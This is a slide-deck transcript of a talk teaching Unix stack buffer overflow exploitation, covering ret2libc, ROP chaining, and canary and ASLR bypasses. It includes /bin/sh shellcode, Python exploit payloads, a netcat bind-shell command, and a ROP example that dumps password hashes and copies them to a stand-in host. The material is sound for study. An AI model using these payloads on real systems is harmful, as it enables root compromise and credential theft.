SlideShare a Scribd company logo
UNIX EXECUTABLE
EXPLOITATION
Ammarit Thongthua
<ShellCodeNoobx Es>
#whoami
<Name>
Ammarit Thongthua
Mr. K
ShellCodeNoob
</Name>
<Profile>
PentestTeam leader in private company
</Profile>
FB : Ammarit Es Shellcodenoob
“There are some relationships between
- Reverse Engineering
- Buffer overflow
- Shellcode
They are the complement of each other”
“Sleepy Kama”
#Inspiration
Today, we will start with
AGENDA
 Introduction
 Vulnerable Unix executable
 Memory Space and Stack Layout
 Buffer Overflow
 Unix application Basic Reverse Engineer
 ShellCode
 Protection vs Expliotation
 Basic Stack without protection
 Bypass password protection
 Exploitto get root privilege
 Limited Stack Space
 StackGuard (Canary)
 Non-Executable-Stack (NX)
 ROP Chain
 Address Space Layout Randomization (ASLR)
 Defeat with static system library (kernel < 2.6.20 )
 ASLR with removed Static system library
 Defeat with application wrapping (kernel >= 2.6.20 )
 Compare with windows exploitation
Chapter I
“Vulnerable Unix Application”
VULNERABLE UNIX APPLICATION
 Has permission “root” as user or group
 SUID or SGID is set (Sting S at eXecute bit)
 This 2 criteria provided privilege escalation to be root
 list="$(find / -perm -4000 -o -perm -2000)";for i in
$list; do ls -al $i; done
 ls –R / | grep “wsr” | grep “root”
VULNERABLE UNIX APPLICATION
VULNERABLE UNIX APPLICATION
 Use vulnerable input standard function
 Ex: strcp(), gets(), sprintf (), vsprintf ()
 They make the program can possibly segmentation
fault or buffer overflow
Chapter II
“Memory Address and Stack Layout”
MEMORY ADDRESS AND STACK LAYOUT
0xFFFFFFFF
0x00000000
Code Segment
Data Segment
DSS Segment
Heap
Stack
MEMORY ADDRESS AND STACK LAYOUT
0xFFFFFFFF
0x00000000
Code Segment
Data Segment
DSS Segment
Heap
Stack
MEMORY ADDRESS AND STACK LAYOUT
0xFFFFFFFF
0x00000000
Code Segment
Data Segment
DSS Segment
Heap
Stack
MEMORY ADDRESS AND STACK LAYOUT
main ()
{
int i = 0;
checkpw ();
}
char pw[608];
MEMORY ADDRESS AND STACK LAYOUT
0xFFFFFFFF
0x00000000
Stack
Int i = 0;
…..
Previous Stacks
Main()
ESP
MEMORY ADDRESS AND STACK LAYOUT
main ()
{
int I = 0;
checkpw ();
}
char pw[608];
MEMORY ADDRESS AND STACK LAYOUT
main ()
{
int I = 0;
checkpw ();
}
char pw[608];
RP
MEMORY ADDRESS AND STACK LAYOUT
0xFFFFFFFF
0x00000000
Char pw[608];
Int i = 0;
…..
Previous Stacks
Main()
checkpw()
SFP
RP
Stack
ESP
Chapter III
“Stack buffer overflow”
BUFFER OVERFLOW
 The situation when the data that input to the
system is larger than the size of buffer that
declare to be used
AAAAAAAAAA....[607 of A]….AAAx00 SFP RP
AAAAAAAAAA….[616 of A]….AAAAAAAAAAAAAAx00
SFP = 0x41414141
***RP = 0x41414141
“Segmentation fault”
“Illegal Instruction”
SFP RP
Ex: char pw[608];
“How can we detect
buffer overflow in unix application?”
“Generally, we use manually test”
BUFFER OVERFLOW
“Better way, we use pattern test”
BUFFER OVERFLOW
/usr/share/metasploit-framework/tools/pattern_create.rb 1000
 Check buffer overflow position
BUFFER OVERFLOW
 Check buffer overflow position
/usr/share/metasploit-framework/tools/pattern_offset.rb 41347541
BUFFER OVERFLOW
“What happen
if we can over write Return Pointer?”
“Can we control flow of instruction?”
“Yes”
BUFFER OVERFLOW
AAAAAAAAAAAAA….[612 of A]….AAAAAAA
SFP = 0x41414141
***RP = 0x080484c7
“Segmentation fault”
“Illegal Instruction”
SFP RP
0x080484c7
BUFFER OVERFLOW
BUFFER OVERFLOW
Demo #1
GDB and Bypass password
protection
Chapter IV
“Basic Shellcode”
“Imagine if we can control Return Pointer to
our own Instruction”
“So, we can control the whole system”
SHELL CODE
[Malicious Machine OpCode] + AAAAAAAAAAAAAAA
SFP = 0x41414141
***RP = 0xFBFF0544
0xFBFF0544
0xFBFF0544
SFP RP
 Attacker can control return pointer to run Malicious
Machine OpCode that put to memory (Shell Code).
 Insert shell code as a part of input to reduce the
complexity of exploitation
SHELL CODE
 Shell code is the code that attacker want the
system run in order to operate the command as
attacker need (create form assembly and convert
to OpCode
 Ex;
 Open port for connection to that system with root privilege
 Add user to the system
 Run shell as root privilege
 Shell code is written as Hexadecimal format
“What happen if we can make Return Pointer
system_call /bin/sh
by programrun as root ?”
“We will get shell prompt with root pri.”
SHELL CODE
31 C0
50
68 2F 2F 73
68 68 2F 62
69 6E
89
E3
50 53 89
E1 B0 0B
CD 80
Assembly Code Op Code
Shell Code
: system_call (/bin/sh)
/bin
0000
//sh
0000
$esp
SHELL CODE
System_call(/bin/sh)Run as “root”
Vulnerability program
We get /bin/sh as root 
RP
“How can we get shellcode ?”
 Where can we get shell code use to make exploit. ?
 Create your own shell code (quite take time)
 Use Metasploit to generate shell code
 Metepreter
 Search from internet
 shell-storm.org/shellcode
 packetstormsecurity.com
 www.exploit-db.com/exploits
SHELL CODE
“How can we manually create shellcode ?”
“Good news, you need to understand
Assemble first !!”
https://defuse.ca/online-x86-assembler.htm#disassembly
SHELL CODE
SHELL CODE
“How can we know what is shellcode do ?”
“Good news again, you need to understand
Assemble first !!”
http://www2.onlinedisassembler.com/odaweb/
SHELL CODE
“Can you see something difference between
Assembly from debugger and output from
the webs?”
ASSEMBLY CODE
From our debugger From our web disassembly
What’s wrong ?
Nothing wrong..
It’s just different instruction set
ASSEMBLY CODE
From our debugger From our web disassembly
AT&T base instruction Intel base instruction
Chapter V
“Make exploit payload”
EXPLOIT PAYLOAD
[Shell Code] + [PADDING make size to 612 ]
SFP = 0x41414141
***RP = 0xBFFF528
0xBFFF528
SFP RP
Payload = Shellcode + PAD + RP
612 bytes 4 bytes
0xBFFF528
Example:
 Where is the shell code start location (For this
example case)?
 Need to reverse engineering and debug
EXPLOIT PAYLOAD
Shellcode = “x31xc0x50x68x2fx2fx73x68x68x2fx62x69"
"x6ex89xe3x50x53x89xe1xb0x0bxcdx80”
RP = “x20xf5xffxbf” #0xBFFF520 (Little Endean!!!)
PAYLOAD = scode + “A”*528 + RP
print PAYLOAD
-----------------------------------------------------------------------------------------------
user@host:$ python exp.py | ./vul_app
EXPLOIT PAYLOAD
“Let’s try our payload”
EXPLOIT PAYLOAD
 Sometime result of our exploit is crash !!!
“What’s wrong in our PAYLOAD ^^? ”
EXPLOIT PAYLOAD
 Memory on address when debug and run exploit
payload may a bit shift
[Shell Code] + [PADDING make size to 612 ] 0xBFFF528
“How can we solve this problem ?”
[ Shell Code ] + [ 577 Byte of PADDING ] 0xBFFF528
EXPLOIT PAYLOAD
[400B. Landing space]+[Shell Code]+ [177 B. PADDING ]0xBFFF540
NOP (x90) = Do nothing
Shellcode = “x31xc0x50x68x2fx2fx73x68x68x2fx62x69"
"x6ex89xe3x50x53x89xe1xb0x0bxcdx80”
RP = “x58xf5xffxbf” # 0xBFFF558
Exp = “x90”*400 + scode + “A”*128 + RP
-----------------------------------------------------------------------------------------------
user@host:$ python exp.py | ./vul_app
EXPLOIT PAYLOAD
“Let’s try our improved payload”
EXPLOIT CODE
 When exploit successfully
EXPLOIT CODE
Demo #2
Exploit to get root privilege
Chapter VI
“Buffer overflow in limited stack space”
LIMITED STACK SPACE
x31x57xdfx45x98xcex55xedx78xedxedx57x76x23x12x6fxf3x6ex4a
SFP = 0x12237657
***RP = 0x4a6ef36f
SFP RP
Payload =x31x57xdfx45x98xcex55xedx78xedxedx57x76x23x12x6fxf3x6ex4a
“Segmentation fault”
“Illegal Instruction”
“How can we solve this problem”
LIMITED STACK SPACE
[ NOP Space (NOP Sledding)] + [S h e l l C o d e ]
AAAAAAAAAAAAA…[612 of A]…AAAAAAAA
SFP = 0x41414141
***RP = 0xBFFFxxxx ??? (We don’t know yet)
0xFBFFxxxx
0xFBFFxxxx
SFP RP
 If size of buffer is limited, we need to put some
shell code some where in stack and control RP to
run shell code
LIMITED STACK SPACE
***RP = 0xBFFFF7B0
Shellcode = “x31xc0x50x68x2fx2fx73x68x68x2fx62x69"
"x6ex89xe3x50x53x89xe1xb0x0bxcdx80”
RP = “xb0xf7xffxbf” # 0xBFFF520
Exp =`python c- ‘print “A”*612` + RP + =`python c- ‘print “x90”*400` + scode
-----------------------------------------------------------------------------------------------
user@host:$ python exp.py | ./vul_app
LIMITED STACK SPACE
 When exploit successfully
LIMITED STACK SPACE
Demo #3
Exploit to get root privilege
With Limited Stack Space
LIMITED STACK SPACE
SUMMARY
Grant()main()AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA RP
x90x90x90 x90x90 + [Shell Code] + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA RP
x90 x90x90x90x90x90x90 + [Shell Code]AAAAAAAAAAAAAAAAAAAAAAAAAAA RP AAAAA
 Bypass password protection
 Buffer overflow to run shellcode to get root privilege
 Buffer overflow to run shellcode with limited Stack Space
“Is it easy like this in real life?”
“No..”
Chapter VII
“Ret-2-libc”
“What is Ret-2-libc ?”
 Characteristic of vulnerable program
 Has set SUID, GUID
 Can Overflow
 Use Libc.
BYPASS LIMITED STACK SPACE BY RET-2-LIBC
“What happen if we jump RP and run?”
system_call nc –l –p 9999 –e /bin/sh
 Fool program to make system call with evil
command
 System_call nc -l -p 9999 -e /bin/sh
AAAAAAAAAAAAA
If Arg = “nc -l -p 9999 -e /bin/sh” and Program run as “root”
So, “nc –l –p 9999 –e /bin/sh” run as “root”
SFP
RP Argsystem
BYPASS LIMITED STACK SPACE BY RET-2-LIBC
 Find location of “system” call function
BYPASS LIMITED STACK SPACE BY RET-2-LIBC
 Create “evil” Argument as system global variable
AAAAAAAAAAAAA
SFP RP =
Argsystem
xf0x4execxb7 x98xfaxffxbfNC =
BYPASS LIMITED STACK SPACE BY RET-2-LIBC
 Result
BYPASS LIMITED STACK SPACE BY RET-2-LIBC
 When exploit successfully
BYPASS LIMITED STACK SPACE BY RET-2-LIBC
Demo #4
Exploit to get root privilege
with Ret-2-libc style
BYPASS LIMITED STACK SPACE BY RET-2-LIBC
Chapter VIII
“ROP Chaining”
 The limitation of Ret-2-Libc is run only 1
command a time to exploit
AAAAAAAAAAAAA
SFP RP =
Argsystem
xf0x4execxb7 x98xfaxffxbfNC =
ROP CHAIN
“It’s better if we can run more than one
commandin one exploit”
“Let improve Ret-2-Libc to ROP Chaining”
AAAAAAAAAAAAA
SFP RP =
Arg1system
xf0x4execxb7 x98xfaxffxbfNC =
ROP CHAIN
RP
AAAAAAAAAAAAA Arg1system
ROP CHAIN
RP
Arg1system
ROP CHAIN
RP
Arg1system
ROP CHAIN
RP
Arg1system
ROP CHAIN
RP Arg2system
ROP CHAIN
Arg1system system Arg2RP
ROP CHAIN
Arg1system system Arg2RP
ROP CHAIN
Arg1system system Arg2RP system Arg3RP
ROP CHAIN
Arg1system system Arg2RP system Arg3RP
ROP CHAIN
Arg1system system Arg2 system Arg3
Argn-2system system Argn-1 system Argn
export ARG1=“unshadow /etc/passwd /etc/shadow > /output.txt”
export ARG2=“scp haker@evil.com:output.txt /home/haker”
.
.
.
.
export ARGn=“nc –l –p 4444 –e /bin/sh”
ROP CHAIN
“How can we chain them ?”
“We need POP POP RET”
ROP Gadget
Arg1system
ROP CHAIN
RP Arg2system
POP
POP
RET
ROP CHAIN
POP POP RET
Arg1system RP Arg2system
ROP CHAIN
ROP CHAIN
POP
POP
RET
xc5x85x48x80
Arg1system RP Arg2system
ROP CHAIN
Arg1system system Arg2 system Arg3
Argn-2system system Argn-1 system Argn
RP = xc5x85x48x80 (POP|POP|RET)
RP RP RP
RP RP
ROP CHAIN
python -c 'print "A"*12 +
"x[syscall.addr.]" + "x[P/P/R addr.]" + "x[addr.arg1]" + "PADS" +
"x[syscall.addr.]" + "x[P/P/R addr.]" + "x[addr.arg2]“ + "PADS" +
"x[syscall.addr.]" + "x[P/P/R addr.]" + "x[addr.arg3]“ + "PADS" +
"x[syscall.addr.]" + "x[P/P/R addr.]" + "x[addr.arg4]“ + "PADS" +
.
.
.
"x[syscall.addr.]" + "x[P/P/R addr.]" + "x[addr.argN]“ + "PADS" +
Chapter IIX
“Stack Guard (Canary)”
Cookie of death
STACK GUARD (CANARY)
 Protection mechanism place in stack (8 byte) to detect
the overflow and preventing to control RP
 Need to include when we compile program
 gcc -fstack-protector code.c -o myprogram
 If canary overwritten the program will be terminated
 Type of Canary
 NULL canary (0x00000000)
 Terminator canary (0x00000aff – 0x000aff0d)
 Random canary (Unpredicted 4 byte)
AAAAAAAAAAAAAAAAAAAA AAAA AAAA AAAA
SFP RPCanary
 For Null canary and Terminator canary can be
defeated by “Canary repaired”
 NULL canary only app use gets() function
AAA…AAA00000000AAAA[RP]x90x90x90x[Shellcode]x0a
 Terminator canary (always 0x00000aff)
 app use gets() function
 app use strcpy() function and need more than 1 arg
AAA…AAAAAAA0affAAAA[RP]x90x90x90x[Shellcode]00
BBB…BBBBB00
CCC…CCC00
AAA…AAA00000affAAAA[RP]x90x90x90x[Shellcode]
STACK GUARD (CANARY) DEFEAT
Arg1=
Arg2=
Arg3=
STACK GUARD (CANARY) DEFEAT EXAMPLE
 Find opportunity to exploit
STACK GUARD (CANARY) DEFEAT EXAMPLE
 Find opportunity to exploit
Canary value = 0x00000aff
(It is a terminator canary ^_^)
STACK GUARD (CANARY) DEFEAT EXAMPLE
 Run exploit
Demo #5
Exploit to get root privilege
with canary repaired
STACK GUARD (CANARY) DEFEAT
Chapter IX
“ASLR”
ADDRESS SPACE LAYOUT RANDOMIZATION
(ASLR)
 Technique use prevent an attacker jumping to a
particular exploited code in memory by random
the virtual address in every runtime.
ADDRESS SPACE LAYOUT RANDOMIZATION
(ASLR)
x90x90x90 x90x90 + [Shell Code] + AAAAAAAAAAAAAAAAAAAAA RP…….
Random is 2 So, Possibility =1/2 or 0.000001
20 20
How can we increase possibility to jump to shell code ?
ADDRESS SPACE LAYOUT RANDOMIZATION
(ASLR) DEFEAT METHOD
AAAAAAAAAAAAAAAAAAAAAAA RP /x90/x90/x90/x[ shell code ]…….
JMP ESP
esp
 If OS kernel has some static lib kernel < 2.6.20.
Use JMP ESP (Trampoline) instruction in that
static lib to bring RP to shell code
INC EAX ADD EBS, EBP ….
ADDRESS SPACE LAYOUT RANDOMIZATION
(ASLR) DEFEAT METHOD
 If OS kernel has not static lib (kernel >= 2.6.20 ),
need to write application to call vulnerable
application to limit random address space (App wrap
up)
AAAAAAAAAAAAAAAAAAAAAAAAA
RP /x90/x90/x90/x90/x90/x90/x90/x90
/x90/x90/x90/x90/x90/x90/x90/x90/x90
/x90/x90/x90/x90/x[ shell code ]
Check current ESP value
and Set
RP = ESP + [vul app buffer]
 Wrap up app
ADDRESS SPACE LAYOUT RANDOMIZATION
(ASLR) DEFEAT METHOD
ADDRESS SPACE LAYOUT RANDOMIZATION
(ASLR) DEFEAT METHOD
 Result
Chapter X
“Compare Windows & unix exploit”
DIFFERENCE OF UNIX AND WINDOWS
APPLICATION EXPLOIT
 Unix application directly communicate to kernel
 Window application must communicate through
Window API (Not directly communicate to
kernel) . It’s make more difficult to exploit
App Kernel
App KernelAPI
WINDOW SHELLCODE
 Static Shellcode (Example for window XP)
 Static or fix memory address of windows API that use
in exploit code (Specific OS version and SP)
 Find address of WinExec() > use to execute cmd / app
 Find address of ExitProcess() > use to clear register
 Portable Shellcode
 Dynamically find memory address of need window
API by using 2 useful windows API
 LoadLibraryA() to get Hmodule (DLL's base address )
 GetProcessAddress() to get real address of function
 Get address of WinExec()
 Get address of ExitProcess()
 Normally, virus use LoadLibraryA() and
GetProcessAddress() to make portable expliot
WINDOW SHELLCODE
WINDOW SHELLCODE
 Static Shellcode (Example for window XP)
WINDOW SHELLCODE
 Static Shellcode (Example for window XP)
xebx1bx5bx31xc0x50x31xc0x88x43x59x53xbbx4dx11x86x7c
xffxd3x31xc0x50xbbxa2xcax81x7cxffxd3xe8xe0xffxffxffx63
x61x6cx63x2ex65x78x65
BASIC STACK BUFFER OVERFLOW ON
WINDOWS APPLICATION
 Found the vulnerability of application
BASIC STACK BUFFER OVERFLOW ON
WINDOWS APPLICATION
 Input to the system is larger than the size of
buffer that declare to be used
AAAABBBBCCCC.....KKKKLLLLMMMM SFP RP
char local[49];
BASIC STACK BUFFER OVERFLOW ON
WINDOWS APPLICATION
AAAABBBBCCCC.....KKKKLLLLMMMM NNNN OOOOPPPP
ESP
 Find address to jump to exploit code
BASIC STACK BUFFER OVERFLOW ON
WINDOWS APPLICATION
x90x90x90x90…[shellcode]…AAAAAAAA RP
* RP = “x40xffx13
 Exploit Successful
BASIC STACK BUFFER OVERFLOW ON
WINDOWS APPLICATION
Successfully exploit.
But calc.exe run as
your permission
not “Administrator”
 Imagine, if some windows application provide
network service like FTP that start by
“SYSTEM” account and have buffer overflow
vulnerability (Ex: WarFTP app)
BASIC STACK BUFFER OVERFLOW ON
WINDOWS APPLICATION
BASIC STACK BUFFER OVERFLOW ON
WINDOWS APPLICATION
BASIC STACK BUFFER OVERFLOW ON
WINDOWS APPLICATION
BASIC STACK BUFFER OVERFLOW ON
WINDOWS APPLICATION
FTP 192.168.1.2
USER AAAAAA….AAAA $JMP_ESP x90x90x90x90 SYSCODE
RP
ESP
 After connect back to open port, user/password
to the system to confirm that we successfully get
system privilege
BASIC STACK BUFFER OVERFLOW ON
WINDOWS APPLICATION
 Rule of permission gaining in Windows exploit
 If we exploit the application, we will get the
permission as who start or run the application
 If application or service start or run by
“Administrator” or “SYSTEM” account, we will gain
“Administrator” or “SYSTEM” privilege
 All windows vulnerability that attacker use to
compromise OS occurred form successfully exploit
“SYSTEM” service
BASIC WINDOWS EXPLOITATION
 DLL injection exploitation
 SafeSeh (Structured Exception Handling) and Abuse
 Windows ASLR and how to defeat
 Windows DEP and how to defeat
 GS protection in Windows application and how to defeat
 Advance pivoting attack technique
 HEAP overflow / Heap Spray / Use After free
“Unfortunately, We have not enough time to walk through”
MORE INTERESTING TOPIC FOR WINDOWS
 CoreLAN team : https://www.corelan.be
 NetSEC : http://netsec.ws/?p=180
 http://www.cis.syr.edu/~wedu/education/buffer_ov
erflow.html
LEARNING SITE
REFERENCE
 SANS 660 Advanced Penetration Testing, Exploit
Writing, and Ethical Hacking
 GIAC GXPN : Exploit Researcher and Advanced
Penetration Tester
 Protecting Against Address Space Layou
Randomization (ASLR) Compromises and Return-to-
Libc Attacks Using Network Intrusion Detection
Systems. David J. Day, Zheng-Xu Zhao, November
2011, Volume 8, Issue 4, pp 472-483
 Cowan, C. Buffer Overflow Attacks.
StackGuard:Automatic Adaptive Detection and
Prevention of Buffer-Overflow Attacks. 1 October
2008.
 Defeating PaX ASLR protection. Durden, T. 59, s.l.
:Phrack, 2002, Vol. 12.
Unix executable buffer overflow

More Related Content

What's hot

Kubernetes環境で実現するWebアプリケーションセキュリティ
Kubernetes環境で実現するWebアプリケーションセキュリティKubernetes環境で実現するWebアプリケーションセキュリティ
Kubernetes環境で実現するWebアプリケーションセキュリティ
NGINX, Inc.
 
UM2019 Extended BPF: A New Type of Software
UM2019 Extended BPF: A New Type of SoftwareUM2019 Extended BPF: A New Type of Software
UM2019 Extended BPF: A New Type of Software
Brendan Gregg
 
監査要件を有するシステムに対する PostgreSQL 導入の課題と可能性
監査要件を有するシステムに対する PostgreSQL 導入の課題と可能性監査要件を有するシステムに対する PostgreSQL 導入の課題と可能性
監査要件を有するシステムに対する PostgreSQL 導入の課題と可能性
Ohyama Masanori
 
TIME_WAITに関する話
TIME_WAITに関する話TIME_WAITに関する話
TIME_WAITに関する話
Takanori Sejima
 
[社内勉強会]ELBとALBと数万スパイク負荷テスト
[社内勉強会]ELBとALBと数万スパイク負荷テスト[社内勉強会]ELBとALBと数万スパイク負荷テスト
[社内勉強会]ELBとALBと数万スパイク負荷テスト
Takahiro Moteki
 
ARMアーキテクチャにおけるセキュリティ機構の紹介
ARMアーキテクチャにおけるセキュリティ機構の紹介ARMアーキテクチャにおけるセキュリティ機構の紹介
ARMアーキテクチャにおけるセキュリティ機構の紹介
sounakano
 
PostgreSQLの運用・監視にまつわるエトセトラ
PostgreSQLの運用・監視にまつわるエトセトラPostgreSQLの運用・監視にまつわるエトセトラ
PostgreSQLの運用・監視にまつわるエトセトラ
NTT DATA OSS Professional Services
 
PostgreSQLによるデータ分析ことはじめ
PostgreSQLによるデータ分析ことはじめPostgreSQLによるデータ分析ことはじめ
PostgreSQLによるデータ分析ことはじめ
Ohyama Masanori
 
Ssl証明書を設定したらapacheが起動しない?
Ssl証明書を設定したらapacheが起動しない?Ssl証明書を設定したらapacheが起動しない?
Ssl証明書を設定したらapacheが起動しない?denet1999
 
OpenStackをコマンドで攻める! 構築・運用とトラブル解決 - OpenStack最新情報セミナー 2014年6月
OpenStackをコマンドで攻める! 構築・運用とトラブル解決 - OpenStack最新情報セミナー 2014年6月OpenStackをコマンドで攻める! 構築・運用とトラブル解決 - OpenStack最新情報セミナー 2014年6月
OpenStackをコマンドで攻める! 構築・運用とトラブル解決 - OpenStack最新情報セミナー 2014年6月
VirtualTech Japan Inc.
 
Introduction to open_sbi
Introduction to open_sbiIntroduction to open_sbi
Introduction to open_sbi
Nylon
 
Netmcr 40 - Salt + Netbox + Vyos = Network Automation + Routing Security
Netmcr 40 - Salt + Netbox + Vyos = Network Automation + Routing SecurityNetmcr 40 - Salt + Netbox + Vyos = Network Automation + Routing Security
Netmcr 40 - Salt + Netbox + Vyos = Network Automation + Routing Security
Faelix Ltd
 
統計情報のリセットによるautovacuumへの影響について(第39回PostgreSQLアンカンファレンス@オンライン 発表資料)
統計情報のリセットによるautovacuumへの影響について(第39回PostgreSQLアンカンファレンス@オンライン 発表資料)統計情報のリセットによるautovacuumへの影響について(第39回PostgreSQLアンカンファレンス@オンライン 発表資料)
統計情報のリセットによるautovacuumへの影響について(第39回PostgreSQLアンカンファレンス@オンライン 発表資料)
NTT DATA Technology & Innovation
 
Understanding eBPF in a Hurry!
Understanding eBPF in a Hurry!Understanding eBPF in a Hurry!
Understanding eBPF in a Hurry!
Ray Jenkins
 
PostgreSQL 15 開発最新情報
PostgreSQL 15 開発最新情報PostgreSQL 15 開発最新情報
PostgreSQL 15 開発最新情報
Masahiko Sawada
 
Pivotal Greenplumで実現する次世代データ分析基盤のご紹介
Pivotal Greenplumで実現する次世代データ分析基盤のご紹介Pivotal Greenplumで実現する次世代データ分析基盤のご紹介
Pivotal Greenplumで実現する次世代データ分析基盤のご紹介
Masayuki Matsushita
 
MongoDBが遅いときの切り分け方法
MongoDBが遅いときの切り分け方法MongoDBが遅いときの切り分け方法
MongoDBが遅いときの切り分け方法
Tetsutaro Watanabe
 
Understanding performance aspects of etcd and Raft
Understanding performance aspects of etcd and RaftUnderstanding performance aspects of etcd and Raft
Understanding performance aspects of etcd and Raft
Hitoshi Mitake
 
【解説】IKE(IIJ Kubernetes Engine):= Vanilla Kubernetes + 何?
【解説】IKE(IIJ Kubernetes Engine):= Vanilla Kubernetes + 何?【解説】IKE(IIJ Kubernetes Engine):= Vanilla Kubernetes + 何?
【解説】IKE(IIJ Kubernetes Engine):= Vanilla Kubernetes + 何?
IIJ
 

What's hot (20)

Kubernetes環境で実現するWebアプリケーションセキュリティ
Kubernetes環境で実現するWebアプリケーションセキュリティKubernetes環境で実現するWebアプリケーションセキュリティ
Kubernetes環境で実現するWebアプリケーションセキュリティ
 
UM2019 Extended BPF: A New Type of Software
UM2019 Extended BPF: A New Type of SoftwareUM2019 Extended BPF: A New Type of Software
UM2019 Extended BPF: A New Type of Software
 
監査要件を有するシステムに対する PostgreSQL 導入の課題と可能性
監査要件を有するシステムに対する PostgreSQL 導入の課題と可能性監査要件を有するシステムに対する PostgreSQL 導入の課題と可能性
監査要件を有するシステムに対する PostgreSQL 導入の課題と可能性
 
TIME_WAITに関する話
TIME_WAITに関する話TIME_WAITに関する話
TIME_WAITに関する話
 
[社内勉強会]ELBとALBと数万スパイク負荷テスト
[社内勉強会]ELBとALBと数万スパイク負荷テスト[社内勉強会]ELBとALBと数万スパイク負荷テスト
[社内勉強会]ELBとALBと数万スパイク負荷テスト
 
ARMアーキテクチャにおけるセキュリティ機構の紹介
ARMアーキテクチャにおけるセキュリティ機構の紹介ARMアーキテクチャにおけるセキュリティ機構の紹介
ARMアーキテクチャにおけるセキュリティ機構の紹介
 
PostgreSQLの運用・監視にまつわるエトセトラ
PostgreSQLの運用・監視にまつわるエトセトラPostgreSQLの運用・監視にまつわるエトセトラ
PostgreSQLの運用・監視にまつわるエトセトラ
 
PostgreSQLによるデータ分析ことはじめ
PostgreSQLによるデータ分析ことはじめPostgreSQLによるデータ分析ことはじめ
PostgreSQLによるデータ分析ことはじめ
 
Ssl証明書を設定したらapacheが起動しない?
Ssl証明書を設定したらapacheが起動しない?Ssl証明書を設定したらapacheが起動しない?
Ssl証明書を設定したらapacheが起動しない?
 
Introducing ELK
Introducing ELKIntroducing ELK
Introducing ELK
 
OpenStackをコマンドで攻める! 構築・運用とトラブル解決 - OpenStack最新情報セミナー 2014年6月
OpenStackをコマンドで攻める! 構築・運用とトラブル解決 - OpenStack最新情報セミナー 2014年6月OpenStackをコマンドで攻める! 構築・運用とトラブル解決 - OpenStack最新情報セミナー 2014年6月
OpenStackをコマンドで攻める! 構築・運用とトラブル解決 - OpenStack最新情報セミナー 2014年6月
 
Introduction to open_sbi
Introduction to open_sbiIntroduction to open_sbi
Introduction to open_sbi
 
Netmcr 40 - Salt + Netbox + Vyos = Network Automation + Routing Security
Netmcr 40 - Salt + Netbox + Vyos = Network Automation + Routing SecurityNetmcr 40 - Salt + Netbox + Vyos = Network Automation + Routing Security
Netmcr 40 - Salt + Netbox + Vyos = Network Automation + Routing Security
 
統計情報のリセットによるautovacuumへの影響について(第39回PostgreSQLアンカンファレンス@オンライン 発表資料)
統計情報のリセットによるautovacuumへの影響について(第39回PostgreSQLアンカンファレンス@オンライン 発表資料)統計情報のリセットによるautovacuumへの影響について(第39回PostgreSQLアンカンファレンス@オンライン 発表資料)
統計情報のリセットによるautovacuumへの影響について(第39回PostgreSQLアンカンファレンス@オンライン 発表資料)
 
Understanding eBPF in a Hurry!
Understanding eBPF in a Hurry!Understanding eBPF in a Hurry!
Understanding eBPF in a Hurry!
 
PostgreSQL 15 開発最新情報
PostgreSQL 15 開発最新情報PostgreSQL 15 開発最新情報
PostgreSQL 15 開発最新情報
 
Pivotal Greenplumで実現する次世代データ分析基盤のご紹介
Pivotal Greenplumで実現する次世代データ分析基盤のご紹介Pivotal Greenplumで実現する次世代データ分析基盤のご紹介
Pivotal Greenplumで実現する次世代データ分析基盤のご紹介
 
MongoDBが遅いときの切り分け方法
MongoDBが遅いときの切り分け方法MongoDBが遅いときの切り分け方法
MongoDBが遅いときの切り分け方法
 
Understanding performance aspects of etcd and Raft
Understanding performance aspects of etcd and RaftUnderstanding performance aspects of etcd and Raft
Understanding performance aspects of etcd and Raft
 
【解説】IKE(IIJ Kubernetes Engine):= Vanilla Kubernetes + 何?
【解説】IKE(IIJ Kubernetes Engine):= Vanilla Kubernetes + 何?【解説】IKE(IIJ Kubernetes Engine):= Vanilla Kubernetes + 何?
【解説】IKE(IIJ Kubernetes Engine):= Vanilla Kubernetes + 何?
 

Viewers also liked

[2007 CodeEngn Conference 01] amesianx - Art of Hooking
[2007 CodeEngn Conference 01] amesianx - Art of Hooking[2007 CodeEngn Conference 01] amesianx - Art of Hooking
[2007 CodeEngn Conference 01] amesianx - Art of Hooking
GangSeok Lee
 
Root the Box - An Open Source Platform for CTF Administration
Root the Box - An Open Source Platform for CTF AdministrationRoot the Box - An Open Source Platform for CTF Administration
Root the Box - An Open Source Platform for CTF Administration
Christopher Grayson
 
Storm Worm - Malware 2.0
Storm Worm - Malware 2.0Storm Worm - Malware 2.0
Storm Worm - Malware 2.0
Kurt Baumgartner
 
Manual Unpacking + By Re.M J Nop790
Manual  Unpacking + By Re.M J Nop790Manual  Unpacking + By Re.M J Nop790
Manual Unpacking + By Re.M J Nop790guest747ad9d
 
Inc0gnito fuzzing for_fun_sweetchip
Inc0gnito fuzzing for_fun_sweetchipInc0gnito fuzzing for_fun_sweetchip
Inc0gnito fuzzing for_fun_sweetchip
sweetchip
 
Talking about exploit writing
Talking about exploit writingTalking about exploit writing
Talking about exploit writing
sbha0909
 
Shellcode Analysis - Basic and Concept
Shellcode Analysis - Basic and ConceptShellcode Analysis - Basic and Concept
Shellcode Analysis - Basic and Concept
Julia Yu-Chin Cheng
 
Hacking school computers for fun profit and better grades short
Hacking school computers for fun profit and better grades shortHacking school computers for fun profit and better grades short
Hacking school computers for fun profit and better grades short
Vincent Ohprecio
 
Rooting your internals - Exploiting Internal Network Vulns via the Browser Us...
Rooting your internals - Exploiting Internal Network Vulns via the Browser Us...Rooting your internals - Exploiting Internal Network Vulns via the Browser Us...
Rooting your internals - Exploiting Internal Network Vulns via the Browser Us...
Michele Orru
 
バイナリより低レイヤな話 (プロセッサの心を読み解く) - カーネル/VM探検隊@北陸1
バイナリより低レイヤな話 (プロセッサの心を読み解く) - カーネル/VM探検隊@北陸1バイナリより低レイヤな話 (プロセッサの心を読み解く) - カーネル/VM探検隊@北陸1
バイナリより低レイヤな話 (プロセッサの心を読み解く) - カーネル/VM探検隊@北陸1Hirotaka Kawata
 
EQUITY MARKET INTEGRATION IN SELECTED MARKETS: EVIDENCE FROM UNIT ROOT AND CO...
EQUITY MARKET INTEGRATION IN SELECTED MARKETS: EVIDENCE FROM UNIT ROOT AND CO...EQUITY MARKET INTEGRATION IN SELECTED MARKETS: EVIDENCE FROM UNIT ROOT AND CO...
EQUITY MARKET INTEGRATION IN SELECTED MARKETS: EVIDENCE FROM UNIT ROOT AND CO...
akjsk10
 
A Hypervisor IPS based on Hardware Assisted Virtualization Technology
